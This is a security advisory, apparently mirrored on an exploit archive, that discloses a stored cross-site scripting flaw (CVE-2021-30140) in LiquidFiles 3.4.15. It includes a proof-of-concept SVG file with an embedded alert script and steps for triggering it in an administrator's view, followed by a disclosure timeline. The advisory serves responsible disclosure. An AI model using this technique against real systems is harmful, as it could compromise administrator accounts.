LiquidFiles 3.4.15 Cross Site Scripting

Authored by Rodolfo Tavares | Site tempest.com.br

Posted May 19, 2022

LiquidFiles version 3.4.15 suffers from a cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2021-30140
SHA-256 | 64fb0fffa85d330dbc47f539a594fa8fcad4c9362b419983c93474d08ba4e151 Download | Favorite | View

Related Files

Change Mirror Download

```
=====[ Tempest Security Intelligence - ADV-12/2021
]=========================

LiquidFiles - 3.4.15

Author: Rodolfo Tavares

Tempest Security Intelligence - Recife, Pernambuco - Brazil

=====[ Table of Contents]=============================================
 * Overview
 * Detailed description
 * Timeline of disclosure
 * Thanks & Acknowledgements
 * References

=====[ Vulnerability
Information]=================================================
 * Class: Improper Neutralization of Input During Web Page Generation
 ('Cross-site Scripting') [CWE-79]

 * CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

=====[ Overview]=============================================================
 * System affected : LiquidFiles
 * Software Version : Version  - 3.4.15
 * Impacts :
  * XSS: LiquidFiles 3.4.15 has stored XSS through the "send email"
functionality when sending a file via email to an administrator. When a
file has no extension and contains malicious HTML / JavaScript content
(such as SVG with HTML content), the payload is executed upon a click. This
is fixed in 3.5.



=====[ Detailed
description]=================================================

* Stored XSS at [http://localhost:8080/message/new]:

* Steps to reproduce

1 - Create a file without extension, with the content below inside
```
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <polygon id="triangle" points="0,0 0,100 100,0" fill="#0000FF"
stroke="#0000FF"/>
   <script type="text/javascript">
  alert(1);
   </script>
</svg>
```
2 - With an external user send an email with that file (without any
extension) to admin or someone.

3 -  With the admin account go to the menu click on "Data", inside the
"Data" menu click at "Messages", and select the message that you sent at
step 2. At the table click on the filename row over your file, the
javascript code will be executed.

=====[ Timeline of
disclosure]=================================================

11/Jan/2021 - Responsible disclosure was initiated with the vendor.
12/Jan/2021 - LiquidFiles Support confirmed the issue;
18/Fev/2021 - The vendor fixed the vulnerability the second stored XSS's
06/Apr/2021 - CVEs was assigned and reserved as CVE-2021-30140

=====[ Thanks & Acknowledgements]============================================
 * Tempest Security Intelligence [5]

=====[ References ]==========================================================

[1][ [
https://cwe.mitre.org/data/definitions/79.html]|https://cwe.mitre.org/data/definitions/79.html
]]
[2][ [https://gist.github.com/rodnt/9f7d368fac38cafa7334598ec94fb167]]
[3][ [https://www.tempest.com.br|
https://www.tempest.com.br/]|https://www.tempest.com.br/]

=====[ EOF ]=================================================================
--
```

Login or Register to add favorites

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11secur1ty 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter

Subscribe to an RSS Feed